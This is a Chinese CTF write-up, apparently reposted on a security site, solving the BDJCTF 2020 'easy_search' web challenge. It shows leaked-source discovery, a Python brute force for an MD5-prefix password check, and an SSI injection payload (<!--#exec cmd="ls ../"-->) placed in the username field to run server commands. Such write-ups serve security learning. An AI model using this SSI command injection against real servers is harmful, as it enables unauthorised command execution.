【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

admin 2022年12月3日16:44:33评论14 views字数 1490阅读4分58秒阅读模式

[huayang]

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

进去看看

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

这题太花哨了弱口令,sql无果后爆破一下子域名

这里提个醒原生的dirsearch或是御剑都没有index.php.swp这项检测这也是爆破无果后

看别人的文章才知道的

如果是用dirsearch探查则需要在当前文件目录下的db文件夹dicc.txt文件进行添加

好我们继续看题

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

使用curl查看index.php代码

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search
<?php
        ob_start();
        function get_hash(){
                $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
                $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
                $content = uniqid().$random;
                return sha1($content);
        }
    header("Content-Type: text/html;charset=utf-8");
        ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
                        ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
                        echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
    }else
    {
        ***
    }
        ***
?>

审计

这里很重要

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

意思就是uesrname不为空就用md5加密password的前6位值与6d0bc1做比较

相等就会输出一个带shtml后缀的的git地址

所以重点在于password,username则不为空就行我们用脚本试试看

网上找的还不是很理解也是第一次知道这个库

import hashlib
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
    if md5(str(i)).startswith('6d0bc1'):
        print(i)
        break
【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search
2020666

拿去试试

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

正确弹出,我们继续访问

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

重点,我们输入的username有回显

那么可以以此来爆出目录 ls

这里要用到ssi注入

可以参考一下这篇文章:https://blog.csdn.net/qq_40657585/article/details/84260844

爆出目录

这里需要注意一下因为前面服务器已经接收了asd,所以我们需要在主页面重新写一下

就像这样

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search
<!--#exec cmd="ls ../"-->
【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

访问即可得到flag

【原创】记一次ctf实战——BDJCTF-2020-Web-easy_search

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:44:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】记一次ctf实战——BDJCTF-2020-Web-easy_searchhttp://cn-sec.com/archives/1443380.html

发表评论

匿名网友 填写信息